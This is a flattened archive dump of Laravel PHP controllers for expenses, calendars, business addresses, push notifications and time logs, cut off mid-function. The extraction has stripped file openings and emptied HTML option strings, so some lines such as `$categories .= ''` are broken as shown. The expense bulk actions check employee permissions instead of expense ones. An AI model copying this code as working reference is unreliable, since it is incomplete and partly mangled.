abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $this->expense->added_by == user()->id))); Expense::destroy($id); return Reply::success(__('messages.deleteSuccess')); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'change-status': $this->changeBulkStatus($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_employees') != 'all'); // Did this to call observer foreach (Expense::withoutGlobalScope(ActiveScope::class)->whereIn('id', explode(',', $request->row_ids))->get() as $delete) { $delete->delete(); } } protected function changeBulkStatus($request) { abort_403(user()->permission('edit_employees') != 'all'); $expenses = Expense::withoutGlobalScope(ActiveScope::class)->whereIn('id', explode(',', $request->row_ids))->get(); $expenses->each(function ($expense) use ($request) { $expense->status = $request->status; $expense->save(); }); } protected function getEmployeeProjects(Request $request) { // Get employee category if (!is_null($request->userId)) { $categories = ExpensesCategory::with('roles')->whereHas('roles', function($q) use ($request) { $user = User::withoutGlobalScope(ActiveScope::class)->findOrFail($request->userId); $roleId = (count($user->role) > 1) ? $user->role[1]->role_id : $user->role[0]->role_id; $q->where('role_id', $roleId); })->get(); } else { $categories = ExpensesCategory::get(); } if($categories) { foreach ($categories as $category) { $selected = $category->id == $request->categoryId ? 'selected' : ''; $categories .= ''; } } // Get employee project if (!is_null($request->userId)) { $projects = Project::with('members')->whereHas('members', function ($q) use ($request) { $q->where('user_id', $request->userId); })->get(); } else if(user()->permission('add_expenses') == 'all' && is_null($request->userId)) { $projects = []; } else { $projects = Project::get(); } $data = null; if ($projects) { foreach ($projects as $project) { $data .= ''; } } return Reply::dataOnly(['status' => 'success', 'data' => $data, 'category' => $categories]); } protected function getCategoryEmployee(Request $request) { $expenseCategory = ExpensesCategoryRole::where('expenses_category_id', $request->categoryId)->get(); $roleId = []; $managers = []; $employees = []; foreach($expenseCategory as $category) { array_push($roleId, $category->role_id); } if (count($roleId ) == 1 && $roleId != null) { $users = User::whereHas( 'role', function($q) use ($roleId) { $q->whereIn('role_id', $roleId); } )->get(); foreach ($users as $user) { ($user->hasRole('Manager')) ? array_push($managers, $user) : array_push($employees, $user); } } else { $employees = User::allEmployees(null, false); } $data = null; if ($employees) { foreach ($employees as $employee) { if($employee->status == 'active' || $employee->id == $request->userId){ $data .= ''; } } } else { foreach ($managers as $manager) { $data .= ''; } } return Reply::dataOnly(['status' => 'success', 'employees' => $data]); } public function import() { $this->pageTitle = __('app.importExcel') . ' ' . __('app.menu.expenses'); $addPermission = user()->permission('add_expenses'); abort_403(!in_array($addPermission, ['all', 'added'])); $this->view = 'expenses.ajax.import'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('expenses.show', $this->data); } public function importStore(ImportRequest $request) { $rvalue = $this->importFileProcess($request, ExpenseImport::class); if($rvalue == 'abort'){ return Reply::error(__('messages.abortAction')); } $view = view('expenses.ajax.import_progress', $this->data)->render(); return Reply::successWithData(__('messages.importUploadSuccess'), ['view' => $view]); } public function importProcess(ImportProcessRequest $request) { $batch = $this->importJobProcess($request, ExpenseImport::class, ImportExpenseJob::class); return Reply::successWithData(__('messages.importProcessStart'), ['batch' => $batch]); } } Http/Controllers/MyCalendarController.php000064400000021442150325104510014564 0ustar00pageTitle = 'app.menu.myCalendar'; $this->middleware(function ($request, $next) { return $next($request); }); } /** * Display a listing of the resource. */ public function index() { $this->types = ['task' => __('app.menu.tasks'), 'events' => __('app.menu.events'), 'tickets' => __('app.menu.tickets'), 'leaves' => __('app.menu.leaves'), 'follow_ups' => __('modules.dashboard.followUps') ]; $startDate = Carbon::parse(request('start')); $endDate = Carbon::parse(request('end')); $type = request()->type; // get calendar view current logined user if ($type == null || $type == 'null' || $type == 'all') { $calendar_type_array = ['task', 'events', 'tickets', 'leaves', 'follow_ups']; } else { $calendar_type_array = [$type]; } if (request('start') && request('end')) { $eventData = array(); $viewEventPerm = user()->permission('view_events'); if (!is_null($viewEventPerm) && $viewEventPerm != 'none') { if (in_array('events', $calendar_type_array)) { // Events $model = Event::with('attendee', 'attendee.user'); $model->where(function ($query) { $query->whereHas('attendee', function ($query) { $query->where('user_id', user()->id); }); $query->orWhere('added_by', user()->id); }); $model->whereBetween('start_date_time', [$startDate->toDateString(), $endDate->toDateString()]); $events = $model->get(); foreach ($events as $event) { $eventData[] = [ 'id' => $event->id, 'title' => $event->event_name, 'start' => $event->start_date_time, 'end' => $event->end_date_time, 'event_type' => 'event', 'extendedProps' => ['bg_color' => $event->label_color, 'color' => '#fff', 'icon' => 'fa-calendar'] ]; } } } $viewTaskPerm = user()->permission('view_tasks'); if (!is_null($viewTaskPerm) && $viewTaskPerm != 'none') { if (in_array('task', $calendar_type_array)) { // tasks $completedTaskColumn = TaskboardColumn::completeColumn(); $tasks = Task::with('boardColumn') ->where('board_column_id', '<>', $completedTaskColumn->id) ->whereHas('users', function ($query) { $query->where('user_id', user()->id); }) ->where(function ($q) use ($startDate, $endDate) { $q->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate->toDateString(), $endDate->toDateString()]); $q->orWhereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate->toDateString(), $endDate->toDateString()]); })->get(); foreach ($tasks as $task) { $eventData[] = [ 'id' => $task->id, 'title' => $task->heading, 'start' => $task->start_date, 'end' => $task->due_date ?: $task->start_date, 'event_type' => 'task', 'extendedProps' => ['bg_color' => $task->boardColumn->label_color, 'color' => '#fff', 'icon' => 'fa-list'] ]; } } } $viewTicketPerm = user()->permission('view_tickets'); if (!is_null($viewTicketPerm) && $viewTicketPerm != 'none') { if (in_array('tickets', $calendar_type_array)) { // tickets $userid = user()->id; $tickets = Ticket::where(function ($query) use ($userid) { $query->where('tickets.user_id', '=', $userid)->orWhere('agent_id', '=', $userid); })->whereBetween(DB::raw('DATE(tickets.`updated_at`)'), [$startDate->toDateTimeString(), $endDate->endOfDay()->toDateTimeString()])->get(); foreach ($tickets as $ticket) { $startTime = $ticket->created_at->timezone($this->company->timezone); $endTime = $ticket->created_at->timezone($this->company->timezone); $eventData[] = [ 'id' => $ticket->ticket_number, 'title' => $ticket->subject, 'start' => $startTime?->toDateTimeString(), 'end' => $endTime?->toDateTimeString(), 'event_type' => 'ticket', 'extendedProps' => ['bg_color' => '#1d82f5', 'color' => '#fff', 'icon' => 'fa-ticket-alt'] ]; } } } $viewleavePerm = user()->permission('view_leave'); if (!is_null($viewleavePerm) && $viewleavePerm != 'none') { if (in_array('leaves', $calendar_type_array)) { // approved leaves of all emoloyees with employee name $leaves = Leave::join('leave_types', 'leave_types.id', 'leaves.leave_type_id') ->where('leaves.status', 'approved') ->select('leaves.id', 'leaves.leave_date', 'leaves.status', 'leave_types.type_name', 'leave_types.color', 'leaves.leave_date', 'leaves.duration', 'leaves.status', 'leaves.user_id') ->with('user') ->whereBetween(DB::raw('DATE(leaves.`leave_date`)'), [$startDate->toDateString(), $endDate->toDateString()]) ->get(); foreach ($leaves as $leave) { $duration = ($leave->duration == 'half day') ? '( ' . __('app.halfday') . ' )' : ''; $eventData[] = [ 'id' => $leave->id, 'title' => $duration . ' ' . $leave->user->name, 'start' => $leave->leave_date->toDateString(), 'end' => $leave->leave_date->toDateString(), 'event_type' => 'leave', /** @phpstan-ignore-next-line */ 'extendedProps' => ['name' => 'Leave : ' . $leave->user->name, 'bg_color' => $leave->color, 'color' => '#fff', 'icon' => 'fa-plane-departure'] ]; } } } $viewDealPerm = user()->permission('view_deals'); if (!is_null($viewDealPerm) && $viewDealPerm != 'none') { if (in_array('follow_ups', $calendar_type_array)) { // follow ups $followUps = DealFollowUp::with('lead')->whereHas('lead.leadAgent', function ($query) { $query->where('user_id', user()->id); }) ->whereBetween(DB::raw('DATE(next_follow_up_date)'), [$startDate->startOfDay()->toDateTimeString(), $endDate->endOfDay()->toDateTimeString()]) ->get(); foreach ($followUps as $followUp) { $eventData[] = [ 'id' => $followUp->deal_id, 'title' => $followUp->lead->name, 'start' => $followUp->next_follow_up_date->timezone(company()->timezone), 'end' => $followUp->next_follow_up_date->timezone(company()->timezone), 'event_type' => 'follow_up', 'extendedProps' => ['bg_color' => '#1d82f5', 'color' => '#fff', 'icon' => 'fa-thumbs-up'] ]; } } } return $eventData; } return view('my-calendar.index', $this->data); } } Http/Controllers/BusinessAddressController.php000064400000005411150325104510015644 0ustar00pageTitle = 'app.menu.businessAddresses'; $this->activeSettingMenu = 'business_address'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_company_setting') !== 'all'); return $next($request); }); } public function index() { $this->companyAddresses = CompanyAddress::all(); return view('company-address.index', $this->data); } public function create() { $this->countries = countries(); return view('company-address.create', $this->data); } public function store(StoreBusinessAddress $request) { CompanyAddress::create([ 'country_id' => $request->country, 'address' => $request->address, 'location' => $request->location, 'tax_number' => $request->tax_number, 'tax_name' => $request->tax_name, 'latitude' => $request->latitude, 'longitude' => $request->longitude ]); return Reply::success(__('messages.recordSaved')); } public function edit($id) { $this->countries = countries(); $this->companyAddress = CompanyAddress::findOrfail($id); return view('company-address.edit', $this->data); } public function update(StoreBusinessAddress $request, $id) { $companyAddress = CompanyAddress::findOrfail($id); $companyAddress->country_id = $request->country; $companyAddress->address = $request->address; $companyAddress->location = $request->location; $companyAddress->tax_number = $request->tax_number; $companyAddress->tax_name = $request->tax_name; $companyAddress->latitude = $request->latitude; $companyAddress->longitude = $request->longitude; $companyAddress->save(); return Reply::success(__('messages.recordSaved')); } public function setDefaultAddress() { CompanyAddress::where('is_default', 1)->update(['is_default' => 0]); $companyAddress = CompanyAddress::findOrfail(request()->addressId); $companyAddress->is_default = 1; $companyAddress->save(); session()->forget(['default_address', 'company']); return Reply::success(__('messages.recordSaved')); } public function destroy($id) { CompanyAddress::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/PushNotificationController.php000064400000004371150325104510016035 0ustar00pageTitle = 'app.menu.pushNotifications'; $this->activeSettingMenu = 'notification_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_notification_setting') == 'all')); return $next($request); }); } //phpcs:ignore public function update(UpdateRequest $request, $id) { $this->savePushNotificationSettings($request); $setting = PushNotificationSetting::first(); $setting->onesignal_app_id = $request->onesignal_app_id; $setting->onesignal_rest_api_key = $request->onesignal_rest_api_key; $setting->status = ($request->has('status') ? $request->status : 'inactive'); $setting->beams_push_status = ($request->has('beams_push_status') ? $request->beams_push_status : 'inactive'); $setting->instance_id = $request->instance_id; $setting->beam_secret = $request->beam_secret; $setting->save(); session()->forget('email_notification_setting'); cache()->forget('push_setting'); return Reply::success(__('messages.updateSuccess')); } public function sendTestNotification() { $user = User::findOrFail($this->user->id); $setting = PushNotificationSetting::first(); if ($setting->beams_push_status == 'active') { // Notify User $user->notify(new TestPush()); } else { // Notify User $user->notify(new TestPush()); } return Reply::success('Test notification sent.'); } public function savePushNotificationSettings($request) { EmailNotificationSetting::where('send_push', 'yes')->update(['send_push' => 'no']); if($request->send_push) { EmailNotificationSetting::whereIn('id', $request->send_push)->update(['send_push' => 'yes']); } } } Http/Controllers/AccountBaseController.php000064400000010470150325104510014733 0ustar00runningInConsole() || config('app.seeding'))) { $this->currentRouteName = request()->route()->getName(); } $this->middleware(function ($request, $next) { // Keep this function at top $this->adminSpecific(); // Call this function after adminSpecific $this->common(); return $next($request); }); } public function adminSpecific() { abort_403(!user()->admin_approval && request()->ajax()); if (!user()->admin_approval && Route::currentRouteName() != 'account_unverified') { // send() is added to force redirect from here rather return to called function return redirect(route('account_unverified'))->send(); } $this->adminTheme = admin_theme(); $this->invoiceSetting = invoice_setting(); $this->modules = user_modules(); if ((in_array('messages', user_modules()))) { $this->unreadMessagesCount = UserChat::where('to', user()->id) ->where('message_seen', 'no') ->count(); } $this->viewTimelogPermission = user()->permission('view_timelogs'); $activeTimerQuery = ProjectTimeLog::whereNull('end_time') ->doesntHave('activeBreak') ->join('users', 'users.id', '=', 'project_time_logs.user_id'); if ($this->viewTimelogPermission != 'all' && manage_active_timelogs() != 'all') { $activeTimerQuery->where('project_time_logs.user_id', user()->id); } $this->activeTimerCount = $activeTimerQuery->count(); $this->selfActiveTimer = ProjectTimeLog::selfActiveTimer(); $this->customLink = custom_link_setting(); } public function common() { $this->fields = []; $this->languageSettings = language_setting(); $this->pushSetting = push_setting(); $this->smtpSetting = smtp_setting(); $this->pusherSettings = pusher_settings(); App::setLocale(user()->locale); Carbon::setLocale(user()->locale); setlocale(LC_TIME, user()->locale . '_' . mb_strtoupper($this->company->locale)); $this->user = user(); $this->unreadNotificationCount = count($this->user?->unreadNotifications); $this->stickyNotes = $this->user->sticky; $this->worksuitePlugins = worksuite_plugins(); $this->checkListTotal = GlobalSetting::CHECKLIST_TOTAL; if (in_array('admin', user_roles())) { $this->appTheme = admin_theme(); $this->checkListCompleted = GlobalSetting::checkListCompleted(); } else if (in_array('client', user_roles())) { $this->appTheme = client_theme(); } else { $this->appTheme = employee_theme(); } $this->sidebarUserPermissions = sidebar_user_perms(); } public function logProjectActivity($projectId, $text) { $activity = new ProjectActivity(); $activity->project_id = $projectId; $activity->activity = $text; $activity->save(); } public function logUserActivity($userId, $text) { $activity = new UserActivity(); $activity->user_id = $userId; $activity->activity = $text; $activity->save(); } public function logTaskActivity($taskID, $userID, $text, $boardColumnId = null, $subTaskId = null) { $activity = new TaskHistory(); $activity->task_id = $taskID; if (!is_null($subTaskId)) { $activity->sub_task_id = $subTaskId; } $activity->user_id = $userID; $activity->details = $text; if (!is_null($boardColumnId)) { $activity->board_column_id = $boardColumnId; } $activity->save(); } } Http/Controllers/TimelogController.php000064400000106730150325104510014151 0ustar00pageTitle = 'app.menu.timeLogs'; $this->middleware(function ($request, $next) { abort_403(!in_array('timelogs', $this->user->modules)); return $next($request); }); } public function index(TimeLogsDataTable $dataTable) { $viewPermission = $this->viewTimelogPermission; abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); if (!request()->ajax()) { $this->employees = User::allEmployees(null, true, ($viewPermission == 'all' ? 'all' : null)); $this->projects = Project::allProjects(); } $this->timelogMenuType = 'index'; return $dataTable->render('timelogs.index', $this->data); } public function calculateTime(Request $request) { // Get the start and end date/time values $startDate = $request->start_date; $endDate = $request->end_date; $startTime = $request->start_time; $endTime = $request->end_time; $dateFormat = company()->date_format; $timeFormat = company()->time_format; $startDateTimeString = $startDate . ' ' . $startTime; $endDateTimeString = $endDate . ' ' . $endTime; $startDateTime = Carbon::createFromFormat($dateFormat . ' ' . $timeFormat, $startDateTimeString); $endDateTime = Carbon::createFromFormat($dateFormat . ' ' . $timeFormat, $endDateTimeString); // Check if both DateTime objects are valid if (!$startDateTime || !$endDateTime) { return response()->json([ 'status' => 'error', 'message' => 'Invalid date or time format.' ]); } // Calculate the difference in minutes $diffInMinutes = $endDateTime->getTimestamp() - $startDateTime->getTimestamp(); $diffInMinutes = $diffInMinutes / 60; $hours = floor($diffInMinutes / 60); $minutes = $diffInMinutes % 60; // If time difference is negative, return a warning if ($hours < 0 || $minutes < 0) { return response()->json([ 'status' => 'error', 'message' => __('messages.totalTimeZero') ]); } // Return the hours and minutes back to the frontend return response()->json([ 'status' => 'success', 'hours' => $hours, 'minutes' => $minutes ]); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'change-status': $this->changeStatus($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_timelogs') !== 'all'); ProjectTimeLog::whereIn('id', explode(',', $request->row_ids))->delete(); } protected function changeStatus($request) { abort_403(user()->permission('edit_timelogs') !== 'all'); ProjectTimeLog::whereIn('id', explode(',', $request->row_ids))->update( [ 'approved' => $request->status, 'approved_by' => (($request->status == 1) ? user()->id : null) ] ); } public function create() { $this->pageTitle = __('modules.timeLogs.logTime'); $this->addTimelogPermission = user()->permission('add_timelogs'); session(['add_timelogs_permission' => $this->addTimelogPermission]); abort_403(!in_array($this->addTimelogPermission, ['all', 'added'])); if (request()->has('default_assign') && request('default_assign') != '') { $assignId = request('default_assign'); $this->projects = $projects = Project::whereHas('members', function ($query) use ($assignId) { $query->where('user_id', $assignId); }) ->orWhere('projects.public', 1) ->orderBy('project_name', 'asc')->get(); } elseif (request()->has('default_project') && request('default_project') != '') { $defaultProject = request('default_project'); $this->projects = $projects = Project::where('id', $defaultProject) ->get(); } else { $this->projects = Project::allProjects(); } $this->tasks = Task::timelogTasks(request('default_project')); $timeLog = new ProjectTimeLog(); $getCustomFieldGroupsWithFields = $timeLog->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->view = 'timelogs.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('timelogs.create', $this->data); } public function store(StoreTimeLog $request) { $startDateTime = Carbon::createFromFormat($this->company->date_format, $request->start_date, $this->company->timezone)->format('Y-m-d') . ' ' . Carbon::createFromFormat($this->company->time_format, $request->start_time)->format('H:i:s'); $startDateTime = Carbon::parse($startDateTime, $this->company->timezone)->setTimezone('UTC'); $endDateTime = Carbon::createFromFormat($this->company->date_format, $request->end_date, $this->company->timezone)->format('Y-m-d') . ' ' . Carbon::createFromFormat($this->company->time_format, $request->end_time)->format('H:i:s'); $endDateTime = Carbon::parse($endDateTime, $this->company->timezone)->setTimezone('UTC'); $timeLog = new ProjectTimeLog(); if ($request->has('project_id')) { $timeLog->project_id = $request->project_id; } $timeLog->task_id = $request->task_id; $timeLog->user_id = $request->user_id; $userID = $request->user_id; $activeTimer = ProjectTimeLog::with('user') ->where(function ($query) use ($startDateTime, $endDateTime) { $query->where( function ($q1) use ($startDateTime, $endDateTime) { $q1->where('start_time', '<=', $endDateTime->format('Y-m-d H:i:s')) ->where('end_time', '>=', $startDateTime->format('Y-m-d H:i:s')); } ) ->orWhere( function ($q1) use ($startDateTime) { $q1->whereDate('start_time', $startDateTime->format('Y-m-d')); $q1->whereNull('end_time'); } ); }) ->join('users', 'users.id', '=', 'project_time_logs.user_id') ->where('user_id', $userID) ->first(); if (is_null($activeTimer)) { $timeLog->start_time = $startDateTime; $timeLog->end_time = $endDateTime; $timeLog->total_hours = $endDateTime->diffInHours($startDateTime); $timeLog->total_minutes = $endDateTime->diffInMinutes($startDateTime); // $timeLog->total_hours = $timeLog->end_time->diffInHours($timeLog->start_time); // $timeLog->total_minutes = $timeLog->end_time->diffInMinutes($timeLog->start_time); $timeLog->hourly_rate = 0; $timeLog->memo = $request->memo; $timeLog->edited_by_user = user()->id; $timeLog->save(); if ($request->custom_fields_data) { $timeLog->updateCustomFieldData($request->custom_fields_data); } return Reply::successWithData(__('messages.timeLogAdded'), ['redirectUrl' => route('timelogs.index')]); } return Reply::error(__('messages.timelogAlreadyExist')); } public function destroy($id) { $timelog = ProjectTimeLog::with('project')->findOrFail($id); $deleteTimelogPermission = user()->permission('delete_timelogs'); abort_403(!($deleteTimelogPermission == 'all' || ($deleteTimelogPermission == 'added' && $timelog->added_by == user()->id) || ($timelog->project && ($timelog->project->project_admin == user()->id)) )); ProjectTimeLog::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function edit($id) { $this->pageTitle = __('modules.timeLogs.logTime'); $editTimelogPermission = $this->editTimelogPermission = user()->permission('edit_timelogs'); $timeLog = $this->timeLog = ProjectTimeLog::with('user', 'project', 'task')->findOrFail($id)->withCustomFields(); abort_403(!( $editTimelogPermission == 'all' || ($editTimelogPermission == 'added' && $timeLog->added_by == user()->id) || ($this->timeLog->project && ($this->timeLog->project->project_admin == user()->id)) || ($editTimelogPermission == 'owned' && (($timeLog->project && $timeLog->project->client_id == user()->id) || $timeLog->user_id == user()->id) ) || ($editTimelogPermission == 'both' && (($timeLog->project && $timeLog->project->client_id == user()->id) || $timeLog->user_id == user()->id || $timeLog->added_by == user()->id)) )); if (!is_null($this->timeLog->task_id) && !is_null($this->timeLog->project_id)) { $this->tasks = Task::timelogTasks($this->timeLog->project_id); $this->employees = $this->timeLog->task->users; } else if (!is_null($this->timeLog->project_id)) { $this->tasks = Task::timelogTasks($this->timeLog->project_id); $this->employees = $this->timeLog->project->projectMembers; } else { $this->tasks = Task::timelogTasks(); $this->employees = $this->timeLog->task->users; } $this->projects = Project::allProjects(); $getCustomFieldGroupsWithFields = $this->timeLog->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->view = 'timelogs.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('timelogs.create', $this->data); } public function update(UpdateTimeLog $request, $id) { $timeLog = ProjectTimeLog::findOrFail($id); $startDateTime = Carbon::createFromFormat($this->company->date_format, $request->start_date, $this->company->timezone)->format('Y-m-d') . ' ' . Carbon::createFromFormat($this->company->time_format, $request->start_time)->format('H:i:s'); $startDateTime = Carbon::parse($startDateTime, $this->company->timezone)->setTimezone('UTC'); $endDateTime = Carbon::createFromFormat($this->company->date_format, $request->end_date, $this->company->timezone)->format('Y-m-d') . ' ' . Carbon::createFromFormat($this->company->time_format, $request->end_time)->format('H:i:s'); $endDateTime = Carbon::parse($endDateTime, $this->company->timezone)->setTimezone('UTC'); if ($request->has('project_id')) { $timeLog->project_id = $request->project_id; } $timeLog->task_id = $request->task_id; if ($request->has('user_id')) { $userID = $request->user_id; } else { $userID = $timeLog->user_id; } $activeTimer = ProjectTimeLog::with('user') ->where(function ($query) use ($startDateTime, $endDateTime) { $query->where( function ($q1) use ($startDateTime, $endDateTime) { // $q1->where('start_time', '>=', $startDateTime->format('Y-m-d H:i:s')); // $q1->where('end_time', '<=', $endDateTime->format('Y-m-d H:i:s')); $q1->where('start_time', '<=', $endDateTime->format('Y-m-d H:i:s')) ->where('end_time', '>=', $startDateTime->format('Y-m-d H:i:s')); } ) ->orWhere( function ($q1) use ($startDateTime) { $q1->whereDate('start_time', $startDateTime->format('Y-m-d')); $q1->whereNull('end_time'); } ); }) ->join('users', 'users.id', '=', 'project_time_logs.user_id') ->where('user_id', $userID) ->where('project_time_logs.id', '!=', $id) ->select('project_time_logs.*') ->first(); if (is_null($activeTimer)) { $timeLog->start_time = $startDateTime->format('Y-m-d H:i:s'); $timeLog->end_time = $endDateTime->format('Y-m-d H:i:s'); $timeLog->total_hours = $endDateTime->diffInHours($timeLog->start_time); $timeLog->total_minutes = $endDateTime->diffInMinutes($timeLog->start_time); $timeLog->memo = $request->memo; $timeLog->user_id = $userID; $timeLog->edited_by_user = user()->id; $timeLog->save(); // To add custom fields data if ($request->custom_fields_data) { $timeLog->updateCustomFieldData($request->custom_fields_data); } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('timelogs.index')]); } return Reply::error(__('messages.timelogAlreadyExist')); } public function show($id) { $userId = UserService::getUserId(); $this->pageTitle = __('app.menu.timeLogs'); $this->editTimelogPermission = user()->permission('edit_timelogs'); $this->viewTimelogEarningPermission = user()->permission('view_timelog_earnings'); $this->timeLog = ProjectTimeLog::with('user', 'user.employeeDetail', 'project', 'task', 'breaks', 'activeBreak')->findOrFail($id)->withCustomFields(); abort_403(!( $this->viewTimelogPermission == 'all' || ($this->viewTimelogPermission == 'added' && $this->timeLog->added_by == $userId) || ($this->viewTimelogPermission == 'owned' && (($this->timeLog->project && $this->timeLog->project->client_id == $userId) || $this->timeLog->user_id == $userId) ) || ($this->viewTimelogPermission == 'both' && (($this->timeLog->project && $this->timeLog->project->client_id == $userId) || $this->timeLog->user_id == $userId || $this->timeLog->added_by == $userId)) )); $getCustomFieldGroupsWithFields = $this->timeLog->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->view = 'timelogs.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('timelogs.create', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function showTimer() { $this->addTimelogPermission = user()->permission('add_timelogs'); abort_403(!in_array($this->addTimelogPermission, ['all', 'added', 'owned', 'both'])); $activeTimer = ProjectTimeLog::with('user') ->whereNull('end_time') ->join('users', 'users.id', '=', 'project_time_logs.user_id') ->where('user_id', $this->user->id)->first(); if (is_null($activeTimer)) { $this->tasks = Task::join('task_users', 'task_users.task_id', '=', 'tasks.id') ->with('project') ->pending() ->where('task_users.user_id', '=', $this->user->id) ->select('tasks.*') ->get(); $this->projects = Project::byEmployee(user()->id); return view('timelogs.ajax.timer', $this->data); } else { return $this->showActiveTimer(); } } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function startTimer(StartTimer $request) { $timeLog = new ProjectTimeLog(); $activeTimer = ProjectTimeLog::selfActiveTimer(); if (is_null($activeTimer) || (!is_null($activeTimer->activeBreak))) { $taskId = $request->task_id; if ($request->has('create_task')) { $task = new Task(); $task->heading = $request->memo; $task->board_column_id = $this->company->default_task_status; $task->is_private = $request->has('is_private') && $request->is_private == 'true' ? 1 : 0; $task->start_date = now($this->company->timezone)->format('Y-m-d'); $task->due_date = now($this->company->timezone)->format('Y-m-d'); if ($request->project_id != '') { $task->project_id = $request->project_id; $project = request('project_id') ? Project::findOrFail(request('project_id')) : null; } $task->save(); if (isset($project)) { $projectLastTaskCount = Task::projectTaskCount($project->id); $task->task_short_code = ($project) ? $project->project_short_code . '-' . ((int)$projectLastTaskCount + 1) : null; } $task->saveQuietly(); $taskId = $task->id; } if ($request->project_id != '') { $timeLog->project_id = $request->project_id; } $timeLog->task_id = $taskId; $timeLog->user_id = $this->user->id; $timeLog->start_time = now(); $timeLog->hourly_rate = 0; $timeLog->memo = $request->memo; $timeLog->save(); if ($request->project_id != '') { $this->logProjectActivity($request->project_id, 'modules.tasks.timerStartedBy'); $this->logUserActivity($this->user->id, 'modules.tasks.timerStartedProject'); } else { $this->logUserActivity($this->user->id, 'modules.tasks.timerStartedTask'); } $this->logTaskActivity($timeLog->task_id, user()->id, 'timerStartedBy'); /** @phpstan-ignore-next-line */ $html = $this->showActiveTimer()->render(); $this->activeTimerCount = ProjectTimeLog::whereNull('end_time') ->join('users', 'users.id', '=', 'project_time_logs.user_id') ->select('project_time_logs.id'); if ($this->viewTimelogPermission != 'all' && manage_active_timelogs() != 'all') { $this->activeTimerCount->where('project_time_logs.user_id', $this->user->id); } $this->activeTimerCount = $this->activeTimerCount->count(); $this->selfActiveTimer = ProjectTimeLog::selfActiveTimer(); $clockHtml = view('sections.timer_clock', $this->data)->render(); return Reply::successWithData(__('messages.timerStartedSuccessfully'), ['html' => $html, 'activeTimerCount' => $this->activeTimerCount, 'clockHtml' => $clockHtml]); } return Reply::error(__('messages.timerAlreadyRunning')); } public function stopTimer(StopTimer $request) { $timeId = $request->timeId; $timeLog = ProjectTimeLog::with('activeBreak', 'project')->findOrFail($timeId); $taskUrl = route('tasks.show', $timeLog->task_id); $dashboardUrl = route('dashboard'); $reload = ($request->currentUrl == $taskUrl || $request->currentUrl == $dashboardUrl) ? 'yes' : 'no'; $activeTimelogPermission = user()->permission('manage_active_timelogs'); abort_403(!(in_array('admin', user_roles()) || (($timeLog->project && $timeLog->project->client_id == user()->id) || $timeLog->user_id == user()->id || $timeLog->added_by == user()->id) || ($timeLog->project && ($timeLog->project->project_admin == user()->id)) || $activeTimelogPermission == 'all' )); $timeLog->end_time = now(); $timeLog->save(); $timeLog->total_hours = $timeLog->end_time->diffInHours($timeLog->start_time); $timeLog->total_minutes = $timeLog->end_time->diffInMinutes($timeLog->start_time); $timeLog->edited_by_user = $this->user->id; $timeLog->memo = $request->memo; $timeLog->save(); // Stop breaktime if active /** @phpstan-ignore-next-line */ if (!is_null($timeLog->activeBreak)) { /** @phpstan-ignore-next-line */ $activeBreak = $timeLog->activeBreak; $activeBreak->end_time = $timeLog->end_time; $activeBreak->total_minutes = $timeLog->end_time->diffInMinutes($activeBreak->start_time); $activeBreak->total_hours = $timeLog->end_time->diffInHours($activeBreak->start_time); $activeBreak->save(); } if (!is_null($timeLog->project_id)) { $this->logProjectActivity($timeLog->project_id, 'modules.tasks.timerStoppedBy'); } if (!is_null($timeLog->task_id)) { $this->logTaskActivity($timeLog->task_id, user()->id, 'timerStoppedBy'); } $this->logUserActivity($this->user->id, 'modules.tasks.timerStoppedBy'); /** @phpstan-ignore-next-line */ $html = $this->showActiveTimer()->render(); $this->activeTimerCount = ProjectTimeLog::whereNull('end_time') ->join('users', 'users.id', '=', 'project_time_logs.user_id') ->select('project_time_logs.id'); if ($this->viewTimelogPermission != 'all' && manage_active_timelogs() != 'all') { $this->activeTimerCount->where('project_time_logs.user_id', $this->user->id); } $this->activeTimerCount = $this->activeTimerCount->count(); $selfActiveTimer = ProjectTimeLog::doesnthave('activeBreak') ->where('user_id', user()->id) ->whereNull('end_time') ->first(); return Reply::successWithData(__('messages.timerStoppedSuccessfully'), ['html' => $html, 'activeTimerCount' => $this->activeTimerCount, 'activeTimer' => $selfActiveTimer, 'reload' => $reload]); } public function showActiveTimer() { $activeTimelogPermission = user()->permission('manage_active_timelogs'); $viewTimelogPermission = user()->permission('view_timelogs'); abort_403($viewTimelogPermission == 'none' || in_array('client', user_roles())); $with = ['task', 'task.project', 'user', 'project']; // Define common with clauses $this->myActiveTimer = ProjectTimeLog::with($with) ->where('user_id', user()->id) ->whereNull('end_time') ->first(); $query = ProjectTimeLog::with($with) ->whereNull('end_time'); if ($activeTimelogPermission != 'all') { $query->when($viewTimelogPermission == 'owned', function ($q) { $q->where('user_id', user()->id); })->when($viewTimelogPermission == 'added', function ($q) { $q->where('added_by', user()->id); 